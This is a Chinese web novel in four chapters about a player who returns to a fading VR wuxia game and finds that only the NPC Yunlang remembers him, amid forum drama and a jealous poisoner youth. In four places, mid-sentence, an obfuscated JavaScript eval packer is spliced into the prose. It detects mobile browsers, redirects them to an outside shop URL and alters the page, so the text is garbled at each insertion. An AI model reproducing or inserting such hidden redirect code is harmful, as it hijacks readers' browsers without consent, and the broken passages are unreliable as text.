《都说了这是一般向游戏》 1. 第一章 桃花沾雨,落英缤纷。 小虞村的风景四季如此,风中永远留有一抹令人留恋的桃花香,踏过溪流,栈道,不远处桃花开的最盛的地方,隐约可见农舍错落,炊烟缭绕。 那便是柳清江记忆中的新手村了。 他走得慢,大概是退坑的时间实在太久了,对身边的景色又重新生出几分久违的怀念感,以至于在路上又额外花了不少时间。 然而这样走走停停也没见到几个玩家,倒是先看见了总在村口摆摊的水花婆婆。 老太太是许多玩家登录见到的第一位可以交互的npc,一向面善心慈,和谁都能说上几句。 柳清江脚步放慢了些,老人察觉到对方动静,脸上便也跟着露出一抹慈祥的笑,对着他摆了摆手,亲热道:“外乡人,买些解瘴毒的香包吧,村子里的人自己做的,好用的很。” 白衣银发的道长停下步子,耐心等了等,没等到后续专属熟人的隐藏对话。 这是……已经不认识自己了? 道长沉默,道长疑惑,道长点开了后台社交界面。 小虞村的npc一栏,原本自己当初辛辛苦苦刷满的一整排好感度,此刻皆是清晰可见的灰色清零。 柳清江:“……” 重新登陆游戏不到一小时,道长陷入了沉思。 他退坑才多久啊,奖励呢?惊喜呢?玩家特供回游重逢剧情呢?这破游戏才活多久啊,对珍贵的回坑玩家这么冷淡的吗? 当然,柳清江也知道这种发展在论坛是找不到人一起吐槽的,问就是“你游高自由度的一种表现,不爽可以不要玩”。 《万道征途》推出至今,作为市面上第一款架空武侠vr游戏,前期的宣传侧重点为“致力为每位玩家打造独一无二的游戏体验”,“沉浸式情感交互”,“真正开启虚拟武侠世界的第二次人生”。 单纯游戏本身来看,确实名副其实。 官方宣传煞有其事,也确实做了诸多准备: 比如说游戏内的npc互动性堪比活人,会记得和自己交互的玩家,记得对方在自己这里做过的任务,部分npc的好感度积累到一定程度,还可以发展更进一步的亲密关系,不同的npc还有不同的互动彩蛋,更时常有人会因为随便戏弄npc或者四处偷盗打劫被强制送进监狱锁号…… 好消息是这游戏目前确实做到了每个玩家都有不同的游戏体验,坏消息是官方大概在这些细枝末节的东西耗费了过多精力,除了开服的几个基础大地图,以及一点顶多算是背景设定的主线剧情之外,《万道征途》至今还没有过正式的版本大更新。 随着市面上的各类竞品越来越多,《万道征途》的玩家流失也成了必然现象,如今作为默认新手村的小虞村,也已经很久没有迎来新的外来人了。 柳清江走了很久,久到村子里的人已经会下意识地将他当做新来的外乡人招待。 邀请他陪自己一起玩球的小女孩阿芷,四处找人帮忙摘药的任大夫,热情介绍自己摊子小吃的大娘,和每一个路过的外来人推销武学小册子的疯老头…… 本该都是熟人,本来已经都是熟人。 但现在,也都不认识他。 …… 柳清江仍静静地走着,他面上表情仍然宁静,不可避免地有些孤独,更有些难以回避的烦躁,那种奇怪的异类感从四肢百骸里翻涌而出,让他手脚都泛起滞涩的不适感。 他想着,如果这次回来的体验全都这么糟糕的话,他就离开这里,再也不回来了。 旁人便见一仙姿玉貌的白衣道长脚步变得愈发飞快,凌乱的步伐踩碎了满地桃花,连不小心撞到路边小狗引来一串呜呜惊叫,也无暇低头顾及。 * 小狗仰着头,没等到应有的道歉或者安抚的拍拍。 ……于是它开始不高兴了。 小狗也有心,小狗也有情绪,小狗也有自己的好感度条。 要是柳清江有心看看,就会发现脚边那只土黄色毛团的好感度已经掉到了黑色的【厌恶】,不过他没低头,自然也不知道这里有只小狗在很认真地闹脾气,它嗷嗷叫了一会见没人搭理自己,干脆顺着小路爬上小坡,一溜烟顺着竹篱笆的缝隙钻回了熟悉的院子里,摇着尾巴吭哧吭哧地开始到处找人。 院子这会还算清净,角落里种了几棵桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094560|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树,纷纷落落撒了满地浅粉,中央放着晾晒药草的架子。 小狗不太喜欢这几个架子,架子浪费了主人太多的力气,总有奇形怪状的外乡人过来在这里抓上一把,嚷嚷着什么“任务奖励”,害得那人需要经常补充上面的草药。 不过现在,院子是空的,筐子是满的,经常在这里徘徊的主人得了难得的清净,却暂时不见去处。 于是因为仍满筐的草药开始摇尾巴的小狗这会又不高兴了。 一双手在它叫得最惨烈的时候将它捞起来放在膝上,先是摸摸脑袋,又耐心地细细拂去皮毛上的浮灰落花。 小狗见过许多人穿与她类似的白衣,各类风格,各类料子,各种叽叽喳喳地声音和好奇摸过来的手,但只有这人身上的带着它最熟悉的温度与桃花香,手臂温暖有力,能稳稳撑着它优哉游哉地打一下午的盹。 那宽大衣袖随着动作落在它的身上,手指又捏捏爪子和耳朵,将低低呜咽重新哄成黏糊糊的撒娇,这才抓抓小狗的下巴,随它将脑袋拱进了自己的胳膊下面。 “又在路上不小心招惹谁了?”小狗眯着眼睛,听着她在自己头顶含笑低问。 膝上趴着的土黄色毛球摇摇尾巴,敷衍配合呜呜两声,模样瞧着已经是懒洋洋地放弃思考。 就这样吧,管他是谁呢。 小狗毛茸茸的尾巴蹭过云琅摊开的掌心,她低着头又在它脊背上顺了几把,脑子里正琢磨着村子里有谁又惹了什么事情,生气到连一只小狗也懒得顾忌,就听得院子入口突然响起一把冷淡嗓音,清凉凉如冷雨落玉,幽幽补充道: “应该是我。” 白衣道长站在那里,衣袍静静垂落,看起来已经在那儿站了许久了。 云琅循声转头,她先是怔然,随即唇角一扬,对着柳清江露出一抹亲切的柔和浅笑: “……哎呀,回来了?” 柳清江没急着动。 他看着云琅,点开了npc一栏的好感度。 在一排代表着陌生人的灰色标记之中,唯独云琅的名字后面,依旧跟着八颗饱满明亮的橙黄色满格好感度。 无论何时,始终如此。 2. 第二章 柳清江之所以会回到这里,其实并没有什么强烈的欲求,驱使他更多的是长久无聊之下的一次突发奇想。 索性也是闲着没事,回来看一眼也不错。 至于更具体的因为什么,要做什么,他一个退坑许久的老玩家此后又要如何……这些东西此前从未在他的脑海里有过明确的念头,直至此刻眼中嵌入云琅的身影,才渐渐从某个模糊的概念被修正成更加清晰的轮廓。 啊,是了。 柳清江很平静的想。 至少那么多虚无缥缈的想法里,好歹有那么一个执念,是从打一开始可以立刻确定的。 ——回到这里时,至少有她一定会等着自己。 数据永远纯粹,正如她待我永远忠诚。 因为她同样只是个npc,她底层代码如此,注定她绝不会改变。 他在那里静立站直的时间实在太长,云琅定定瞧了他一会,很自然地从长椅上起身,向旁挪开几分距离,又腾出一只手来拍拍身边,打了声招呼,“来坐吧。” 云琅微微低头,她的眉目轮廓其实是很俊俏锋利的长相,一双凤眼眉梢上挑,瞧着像寒白冷刃上的刀尖一点,锐利分明。 可大抵是在这样桃源一般的小虞村生活了太久,那点近乎刺人的锐气便转成一捧掌中新雪,触及一点目光中的温度,便如春水般柔柔流淌,又静静散开。 柳清江静静在她旁边坐下,垂眉敛目,修竹般挺拔端正。 女人眼尾一抬,眸光又仿佛那捧新雪融化的水色,清凉凉地流到了他的身上去,于是某些干涸到麻木的根须跟着颤抖般动了动,连带着长久绷紧的肩颈也跟着松弛了几分。 “你过去倒也不爱说话,”云琅转过目光,手指慢慢抚摸怀中小犬温暖的皮毛,神色柔和,似乎已然陷入回忆:“为人倒是很热心肠的,常常在我这儿接了活就走,我记得,当年水花婆婆的香包有不少还是你做的呢。” 那没什么稀奇,柳清江在心里默默想,至于陪小孩玩游戏,帮老婆婆做药包……本质都是新手村的引导任务,几乎每个新手玩家都会做,没什么值得单独夸奖的地方。 可柳清江依旧垂着眼,很坦然地低低应了一声。 所有人都做过又怎么了?那些事他也都确实做了,怎么就夸不得。 “所以呢?”云琅放缓语气,温声又问,“少侠是遇到了什么事情吗?有没有我能帮得上忙的地方?” 柳清江摇摇头,平静道:“没遇到什么事情。” 云琅瞧着他,脸上慢慢露出几分无奈之色。 “我和你,倒也说不出什么客套话,”她轻声道,“久别重逢,不过是想尽己所能,为少侠稍稍帮帮忙。” 柳清江想说自己其实真的没什么特别头疼的事情要她帮忙,即使手边真的有一堆烂摊子事,倒也轮不到一个游戏里的新手npc替自己开导。 婉拒的话分明已经到了嘴边,可对着云琅那双清亮亮的眼睛,道长的舌尖话音莫名又转了个弯:“……我倒是确实离开很久了。” 他如此道。 “许久没用剑了,确实手生。”他低头看着云琅,老老实实的表示:“别的倒还好,这件事倒是需要云娘帮忙的。” 道长说这话时声音放轻,眼神也是十二分的严肃恳切,一缕碎发从他肩头落下,两人不知不觉坐的距离极近,发梢不凑巧落在小犬鼻尖,轻飘飘地晃来晃去。 睡梦中的小狗呜呜两声,睁开眼睛就是最讨厌的人,立刻龇牙咧嘴,下意识张嘴就要咬。 柳清江动作迟缓,面对一只被控制动作的小狗,反应竟是比寻常新手还要慢一些。 倒是云琅先一步熟练握住小狗的嘴筒子,神色如常地晃着小狗脑袋摇了摇,把土黄色的毛团晃得晕乎乎后才把它放了下去。 柳清江沉默半晌,随即错开目光,若无其事。 他还穿着退坑时赛季末毕业套装,乍一看起来也是非常唬人的大佬姿态,但退坑这么久是真,操作手法疯狂退化也是真,以道长现在的脸皮,还没有勇气穿着这一身去外面挨打丢脸。 云琅弯腰推推赖着不走的小狗屁股,也没有多问。 “帮你倒是没问题的。”云琅目光转过外面,似乎稍微有点为难:“不过你也瞧见啦,小虞村许久没有外乡人,我也确实是很久碰过刀剑了,怕是会有一点不知轻重……” 一个新手引导npc,就算跟着版本更迭提高等级又能有多少战力变化? 柳清江对此不以为然。 玩家进入游戏之前就会选好自己的门派,在达到一定等级后才以“江湖游侠”身份正式加入。但在游戏更具体的剧情设定上,这些新人少侠在进入江湖之前是得到了云琅的点拨指导,才算是正式学会了一招半式的。 初始等级的限制很多,新人玩家能在云琅这里学会的招数也就是普通攻击、蓄力攻击和简易武学技,更高等的心法武学是加入门派后才有的。柳清江心情从容,无甚所谓地接过了云琅递来的练习用木剑。 他回归游戏的理由简单,也早没了年轻时非要霸占榜单第一的热血激情,想着的不过是在这里怀念一下当年,操作嘛,能够跑地图,大体过得去也就行了。 道长无甚防备地拿起剑,瞧见对面的云琅表情反而比自己还要紧张些,过去pvp狂魔单刷竞技场的嚣张从容终于找回了一些,便跟着笑道:“我不用心法和你打,云娘尽可以放松些。” 云琅低低应了一声,表情仍然有些凛然沉重的严肃。 柳清江不否认自己喜欢她这样的表情,虽然说起来不太好,但这种肉眼可见的实力差距是很能赋予其中一方强大自信心的,两人控制着力度简单过了几招,见彼此力度控制地都还不错,没有发现什么明显的血条变化,云琅这才稍微松了口气。 如此几个回合,道长终于找回了几分久违的手感,身体姿态也显得比刚刚入村时放松了许多。 “稍微休息一会吧。”柳清江主动开口,他现在挺畅快,但也愈发觉得空洞、谨慎——自己木剑挥舞的手法太过流畅,在初始的欣慰愉悦逐渐膨胀为强烈的自满之后,柳清江反而开始下意识恐惧下一招失手的可能。 这样的训练用木剑,打在身上其实并不会很疼。 只不过……柳清江下意识的想,真的被打到了怎么办?他可不是当初那个懵懵懂懂的纯粹新人了。 这样一副姿态要是还要在她手下挨打……那可就太狼狈、也太难看了。 他顶着情绪最饱满、自己的姿态最潇洒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094561|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候叫了停,云琅静静瞥他一眼,也是意料之中的利落收剑,没有拒绝。 和云琅待在一起时,做什么都不需要思考太多。 从来如此,始终如此。 …… 趁着两边调整休息的功夫,柳清江想了一会,忽然快走几步,打开了久违地游戏拍摄镜头,仔细调整角度,让自己的衣袍一角与云琅的衣袖落在一处,一缕夕阳暖光从桃花树梢静静落下,恰好落在两把交叠放置的木剑上。 这游戏各方各面尊重所谓的真实沉浸感,除了专门提供的拍摄幻景之外,不存在所谓的拍摄时停,所以这张照片更能显出闲暇时的清静自在。 不是所有npc都会老老实实配合玩家拍照的。 道长慢悠悠调整好各种角度光线,最终将发在论坛上,备注文案:还好,无论何时回来,你一直都在。 论坛开放度很高,日常晒图的也不在少数,道长发了图后就退出论坛,去一边看云琅玩小狗去了,自然也没注意到这条帖子没过一会就刷了几十条,以最快速度顶成当日热门。 【…… 3L:楼主还在吗?哈喽?楼主快点申请删帖吧,出门左转规则标红第一条,这里禁npc的一切梦向贴哈。 4L:读作npc写作云琅来着,要我说搞论坛定规则的那几个也应该和策划一起死。 5L:衣服好认,地图好认,那两把剑和角落里入镜的死狗屁股也好认,笑死,你游看板娘就这样又一次成为梦男g的拍照对象。 6L:……不er,怎么就npc了,万一是极乐宗玩家的搞服装定制做同款呢? 7L:极乐宗的审美是自由的,官方的限定是骗氪的,唯独看板娘的服装是烫门但是锁号的,你游这么多年没人出过看板娘同款到底因为啥心里没点数吗? 8L:宣传内部梦的和这个帖子一起滚。 9L:贴主半天没回复了,回游戏和看板娘贴贴去了吧。 10L:这得是开服回游的大佬吧?药王谷剧情更新后的回游玩家都默认登录地点是门派大门了,就连找不到家门的剑阁穷鬼也会被被迫锁定白鹭洲作为登陆地点。 你游就这样摁住所有人,不给和看板娘贴贴的机会。 11L:我之前就说制作组藏了一批内部梦你们让我飞上外太空…… 12L:允许返航 …… 29L:所以这哥们到底怎么登录就进小虞村,你们到底有没有人来管管这个!?】 这帖子乱七八糟吵了几百楼之后,道长终于姗姗来迟,想着上来看看最常见的晒图夸夸。 他花了半小时翻完了整个帖子,并在静坐许久之后,心态平和的给出了自己的回复。 …… 412L:lz【一剑霜寒】@所有人: 第一,不是梦男,正常晒图。 第二,云娘心甘情愿陪我的,你游特色,npc不喜欢的事情我想拍也拍不着。 第三,明明这么简单的事情为什么你们不去拍反而在这里追着骂我啊,是因为自己进不来也拍不到吗(微笑)(微笑)(微笑) …… 一分钟后,道长刷新界面,成功刷到了自己的删帖提示和红牌公告。 3. 第三章 论坛管理保持高强度巡逻,维持秩序的同时也使得一群摩拳擦掌的暴躁分子瞬间没了着落,遂疯狂发帖直至刷屏首页,柳清江原本还能抱着乐子人的心态随意点几个进去,但很快就愉悦不起来了。 有人的地方就有腥风血雨,特别是这种浓度过高的玩家论坛,前脚管理删帖,后脚就有人把原图放在自己贴子里发出来并开始逐帧分析。 游戏每个赛季的装备都会更新外观,和商城时装不一样,这些款式都是版本限定的绝版货; 能拿到这身衣服的基本都是当赛季排名靠前的操作大佬,于是扒拉一遍开服几个赛季的竞技场排名,筛选一下门派,过滤一下性别……再顺着id挨个摸过去,排除那些仍然一直在玩的和已经公开卖号的,最后合适选择基本已经寥寥无几。 最后,这位id名为“相思引”新帖贴主用非常愉快的语气做出最后总结:本着宁可错杀不可放过的原则,剩下的几个选项他都已经在游戏里挂了玩家悬赏,每隔半小时都会增加悬赏价格。 游戏内的悬赏方式通常分两种,按着玩家道德值标定,想要悬赏道德值过低的玩家,可以直接去主城禁卫军提交信息,类似于寻常武侠江湖设定中的“邪魔外道人人得而诛之”; 而另外一种也是更通用的,则是在门派【血滴子】直接挂名悬赏,不影响游戏内数值属性,但是要花钱。 “反正这个级别的大佬基本上都是表现欲过强的,要真的是冤枉好人了呢,大概率会直接顺着悬赏人冲我杀回来,到时候大家解释清楚也就好了。” “反倒是原贴本尊,盲猜一个退坑太久手法生疏,很有可能会装作什么都不知道,等过了二十四小时再看看,那个悬赏最高额度却一直没动的,应该就是本人了。” 后续跟帖同样一群看热闹不嫌事大的,也有人提问万一人家真就是神操大佬,也能立刻顶着悬赏追着你杀到退游呢? 贴主的反应也很淡定,表示我都在这种论坛发这种帖子了,我还在乎这个? …… 看到这里,柳清江陷入了短暂的沉默。 就这么一张没头没尾的单纯照片,就能做到这种地步吗? 论坛皆是提纯专用诚不欺我,男人莫名其妙的嫉妒心恐怖如斯。 但是人能怂吗,必然不能,他要是真的因为这个就心虚跑了,那当年的柳清江也不至于单枪匹马杀到赛季第一的成绩,他只是有点上岁数了不是彻底废了—— 道长神情严肃的摸了摸自己身上的装备,随即起身,去找了云琅商量另外一件事。 总之,先把自己的装备整体更新一下。 …… “……所以是想问,这附近山匪或是狂兽出没的地方?”这要求并不奇怪,或者说外乡来的游侠们提出的要求千奇百状,云琅早已见怪不怪。她余光瞥了一眼对方静静垂放的手指,还是先摇了摇头。 “你们刚刚入山那会确实是到处都有,不过很久之前就瞧不见啦,”云琅语气温吞,慢悠悠地解释道,“看到了吗?林子外面的瘴气越来越浓,别说山匪猛兽了,村子里的人想要出去都很费功夫的。” 柳清江微微蹙眉,下意识道:“可我进来的时候并没有感觉到什么瘴气?” 云琅好奇,笑问一句:“少侠从哪儿进来的?” 道长并未多想,干脆利落指给她自己的回游登录地点,那里在地图设计上是一处小瀑布遮掩的狭窄山洞,在乱石林立地势复杂的古山林之中,那里并不起眼。 云琅慢慢哦了一声。 面前的道长将这种事说的一脸理所当然——柳清江已经算得上是尊重人的类型,可这方面也和此前来到这里的许多外乡人一样,在描述一些问题时,总是有种毫无自觉的常识错位感。 他不觉得哪里有什么问题,或许是因为从他的视角来看,那里确实没什么问题。 可毒瘴弥漫扩散至今,村子里的人找了许多办法尝试破解,柳清江口中不起眼的小瀑布自然也没有错过,所以云琅很清楚,瀑布后面虽然确实有一小小山洞……可那洞穴后面也是漆黑山岩,内里狭窄,勉强能容一名幼童栖身。 四处探访回来的村人说那里没出路,云琅是信的。 柳清江说他能从那里出入,云琅也是信的。 这些身份奇妙、举止怪异的外乡人——也可说做天道偏爱之人,一向如此。 云琅并未多说什么,也没再追问什么,她只循着记忆里的点位告诉对方几个地方,也提醒了对方,那附近有毒瘴弥漫,大概率是找不到什么的。 柳清江嗯嗯几声,含糊应下。 他本来也不是真的要拿新手村的野怪练手或者刷装备,不过是找个合适的理由从云琅面前离开,飞快下号,切入了另外一个平台。 …… 道长的临时离开并未引起云琅的太多动作,她惯例整理院子,修整桃树,挑拣自己晾晒的药草,旁边打盹的小狗刚刚趴好安静没多久,忽然又冲着某个方向支棱起脑袋,张嘴又要叫。 不过这次,一双细长手掌提前握住小狗嘴筒子,又眼疾手快在它嘴边塞了块米糕堵嘴,熟练地贿赂过院子里的小毛团,让它第一时间安静下来。 来人没出声,动作也刻意放得轻,可腕上和颈间的精巧银铃一串串,早从他房顶翻下来那会就在叮叮当当。 他一边摸小狗脑袋,一边又小心翼翼垂着头,觑着另一边动作。 云琅继续摆弄药草,一个眼神也没分过去。 于是这缀着满身银饰的少年人又先开始委屈起来了,嘴角一撇,歪着脑袋,没骨头似的就往她身边蹭:“云娘,云娘你干嘛呀,你的十二郎好容易才从外面回来的,你看我都这么累了,你好歹疼疼我,好心理理我嘛~” “身上铃铛也不摘,我也没看出来你这一趟多累人。”云琅应了一声,身子一转错过少年人蛇行般的攀附贴近,语气也是无奈中略带嗔怪,“而且你这官话又和谁学的?怎么听着越发没轻没重了。” 十二郎嘻嘻一笑,少年人生得乌发红唇,白肤浓眉,每一样都美,每一处都艳,本该是浓烈美丽的一张脸,偏偏容色太盛,反而显出几分妖异鬼气。 “有什么关系?总归石翁不说我错,水花婆也只说我们的十二郎嘴最甜了,”他没骨头似的倚在一旁,手指顺势转了转耳边一缕碎发,嬉笑道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094562|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“反正这话我又不和别人说,我只和云娘说,那就不算没轻没重。” “话都让你说了,我还能说什么?”云琅无奈道,顺势又转了话题,“所以这一趟,感觉如何?” “问毒瘴吗?还是问我?”少年飞快应道,生怕慢一秒她就会错开注意力似的,“你要是问我呢,那我好得很呢~至于那毒瘴也就看着唬人,要寻常人分不清东南西北,没办法从这里出去。” 他说两句就仿佛撑不住力气,足踝铃铛跟着叮叮当当,轻飘飘地又绕回到了云琅旁边,十二郎将自己脑袋挨在她手边的小桌上,抬着一双黑漆漆的眼,幽幽看她:“云娘,你总要我出去研究毒瘴,是不是因为想要从这儿离开?” “……” 云琅幽幽瞥他一眼,下一瞬,手中的簸箕就落到了少年人的脑袋上。 少年顺势哀哀一叫,接过簸箕,委屈巴巴的把嘴角往下撇。 “村子又不是只有我一个人,别总是花心思琢磨这个。”云琅拍拍他头顶,“石翁和水花婆他们年纪大了,阿芷还那么小……你打算让他们就这么一直在这儿过下去了?” “我也没说别的呀……”十二郎低声哼唧,亦步亦趋地跟了上去,小声辩解:“我怕你走嘛……” 云琅回答:“我是无家之人,当年石翁救我又收留我,我欠他许多。至少现在,我没有离开的打算。” 十二郎急惶惶跟上去,飞快提醒:“哪里就没有家了嘛,云娘想要个家吗?这好办,我带你去和石翁说一声,咱们九黎不讲外面人那劳什子的良辰吉日,找个好天气就能成家的。” “……”云琅终于停下脚步,转身认真看了这满脸严肃的少年一眼。 “我大你许多。”她耐心道,“放外面,我这年纪的孩子怕是都和阿芷差不多大了。” 十二郎眨眨眼,仍不以为意:“那又怎么啦?” 云琅叹气,只好说:“你年纪太小了,而且自小在村子里长大,身边没什么同龄人,这才会对我有些奇怪兴趣……只要多出去看看就好了。” “我出去了呀,你让我出去我就出去,看我多听你的话。”十二郎眨眨眼,随即一挺胸,表情还挺骄傲:“外面的人我也看了,两个眼睛一张嘴,男的女的都没我好看。” 云琅沉默一瞬,静静揉了揉眉心。 “十二郎,你知道我不是这个意思……” “那还能是什么意思?”少年莫名其妙道,“还是说云娘是从外面来的,所以认识的人也特别多,十二郎在他们之中排不上号?” 云琅其实很想点点头,但这行为总觉得有点欺负小孩的嫌疑,不由得卡在那里,慢了半拍。 少年人一双黑漆漆的眼盯着她的脸,只需这一瞬犹豫就能琢磨过来许多东西,他也不恼,只拍拍手,露出一抹极艳丽惑人的笑来:“这有什么的,毕竟云娘在这儿也呆了很久了嘛~ 比我好看的不一定有我年轻,比我年轻的……那云娘肯定更看不上眼了。” 掰掰手指数一数,想来要处理的家伙也剩不下许多。 嗯嗯,总而言之问题不大,趁云娘不注意的时候,一把全毒死也就搞定啦。 4. 第四章 十二郎托着腮看她,笑得一脸孩子气的乖巧,一到这时候云琅便只想叹气,不知道要如何说他才好。 这少年极擅长察言观色,见她脸色微妙,立刻主动让了半步,爽朗笑道:“好啦,不闹你了。” 他从桌边跳起来往外走,身上铃铛又是叮叮当当响,“我去院子里帮你晾草药。” 云琅看着少年背影,手上动作刚刚继续没几下,忽然又想起石翁时不时落在自己耳边的叹气声。 “十二郎……是个被我们惯坏的,”那老人家对谁都是一副笑呵呵的慈爱态度,唯独提起这件事时,眉眼间总是难掩几分无奈愧疚,“云娘,他孩子气重了些,若是和你说了什么不中听的话,你不要厌他。” 要说讨厌那孩子?那倒也不至于。 小虞村避世太久,久得后来出生的年轻人不通礼法,行事风格更是真正意义上的随心所欲。这种随心在云琅看来是很可爱的,就好比看到一只野外自由长大的小野兽。突然瞧着院子里安逸生活的家犬,初始单纯觉得好奇,羡慕,没什么提防,只一门心思也要凑上来一起玩。 不过野兽说到底还是野兽,就像十二郎永远不耐烦去学外面的规矩,他是小虞村出生长大的孩子,生来野性难驯,也是情有可原。 要让云琅自己评价,那么她从来不觉得这孩子有问题,可偏偏这天下不是以她一人喜好构成组建的,所以即使清楚,她也不厌其烦地和少年反复提醒过:就算真的天生骨子里就不喜欢这个,那他至少也该知道出去做事的分寸。 须知人外有人,天外有天的道理,有些东西,他可以不喜欢,也可以讨厌,但不能不懂,更不能不会。 如此细心提醒反复多次,开始时,少年人还会想着这是难得的亲近机会,装乖卖惨坐在一边和她煞有其事地学上一会;可很快他就猜准了云琅过分柔软的忍耐底线,不说反复横跳,也是踩在那条线上疯狂尝试。 谁让她脾气在这种时候实在太好,浸了水的棉花一样,沉甸甸但还软蓬蓬,就算和人认真生气也不觉有什么压力。 “云娘,云娘——”没安静一会,外面又传来十二郎软绵绵的撒娇声:“你这个上面晒得是什么呀,我分不出来你帮帮我嘛~” 云琅动作停顿一会,安静揉了揉眉心。 九黎最年轻最天才的蛊师,分不清门口晾晒的最基础的止血草药是吧。 “你要是不懂,就放着不要给我乱动……”她的声音很快还是响起,如十二郎预料之中那般,渐渐由远及近,带着点几乎可以忽略不计的无奈抱怨:“好了好了,东西放下吧,我自己弄就是了……” “我也没给你捣乱呀,云娘你再教教我,我这次一定记得住了。”十二郎嘻嘻笑道,身上铃铛晃来晃去,那张艳丽迫人的脸本来也要顺势挨到她的肩膀上。 忽地铃铛声叮叮一颤,他直起身子,转头看向了院子入口的方向。 柳清江一双手撑在门板上,仍维持着那个入门时的姿势,道长一张脸玉雕似的剔透端正,此刻眉目静静压平,与十二郎沉默四目相对,倒也看不出具体是个什么情绪。 如此静默不过一瞬,反而是少年先一步笑着开口,若无其事地打着招呼:“哎呀……你好啊,外乡人。” “石翁之前还说你们都不回来了,我看啊,估计是他老人家又哄我玩。”少年眉目微蹙,做出一副孩子特有的苦恼样子,“唉,他总是喜欢这么哄着我。” 云琅在旁站着,猝不及防又对上十二郎转过来的目光,他一双桃花眼波光潋滟,忽低低一笑,又意有所指地对他轻声反问:“云娘,你说,石翁会不会连你的事情上也是在哄着我?” 云琅眨眨眼,慢慢抿了下嘴唇。 ……所以,石翁又背着自己和这小崽子说什么了? “他能哄你什么?”柳清江突兀开口,十二郎也不在意,在人家聊天时到处乱跑、冲进房子里去摸那所谓的宝箱、又或是像这样冷不丁开口打扰人家的谈话……这些外乡人,就是喜欢做这种没道理又让人头疼的怪事情。 十二郎耸耸肩,答得倒是也痛快:“还能有什么,无非就是你们这些外乡人都被瘴气拦住了,等我再大些,说不定云娘就答应嫁给我了?” 柳清江:“……” “不会的。”柳清江心平气和地摇头,一板一眼的解释:“这是一般向游戏,云娘定位很清晰了,策划不可能毫无铺垫地拿她卖cp。” 又说怪话,又听不懂。 和一贯好脾气的云琅不同,十二郎总是不喜欢这些爱说怪话的外乡人的。 他手指捻了捻,桃花纷飞,风中混杂花香与草药特有的安宁气味,掺杂一缕轻盈异香似乎也不如何起眼。 那衣着端正的外乡人对风中气味变化迟钝得很,少年眉头微微一抬,一点得意之色尚未完整落在脸上,忽听得身侧拨弄草药的窸窣声。 “……”少年猛地扭头瞪她,眉眼间显然多了几分委屈的抱怨。 云琅没去看他,神色如常端着簸箕,轻飘飘向上颠了颠,又摇了摇。 风中流淌的依旧是她院中沉稳朴素的草药香气,那一缕甜腻香气被轻描淡写地化开,不曾留下半点痕迹。 十二郎抿着嘴,只轻轻哼了一声。 柳清江同样也没动,他静静看着自己状态栏下一闪一闪的【蛊毒】预警又静悄悄地消失,脚步轻轻一抬,手自然伸向怀中,掏出了一把白色野花递给了云琅。 “……送你的。”拿出来后才觉得有些尴尬,也不是什么好东西,不过是新手时期到处跑地图,随手从路边采摘普通品质的观赏花朵,没什么作用,也卖不上价。 她动作微微一顿,却是放下手中的草药,郑重接过对方递来的野花,静静打量许久,这才抬头回以一抹柔和浅笑:“多谢。” 云琅温声回答,“花很好,我也很喜欢,最近林中瘴毒弥漫,隐藏危险重重,难为少侠还愿意记得我。” 柳清江神色自若,很矜持地嗯了一声。后台熟练地录屏截图保存下载放入不同文件夹,一个原版一个未修图。 游戏npc的自由度设定堪比活人,接到礼物也会根据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094563|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心情状态触发不同的语音回复,大部分npc只会对自己喜欢或是讨厌的有反应,只有云琅,送她什么都会认真回答。 “我之前没送过你这样的,你要是喜欢,其他颜色的我也可以送。”柳清江平静道。 “这样可就太麻烦了。”云琅微笑,但还是摇摇头,郑重婉拒:“这花我收下了,少侠若真的有心思,路边随心见到的一草一木都可当做日后送给云琅的礼物,不必特意挑选,对我来说,这份愿意挂念的心意已经弥足珍贵。” 新手期都是送完礼物拿到好感度就跑下一个任务点了……倒是不知道还有隐藏后续对话? 柳清江心思一动,迅速又开了个【礼物对话全图鉴】的新文件夹。 玩家正常的收集癖而已,不算奇怪,普通操作。 “……”十二郎抱着胳膊站在旁边,很用力地又哼了一声。 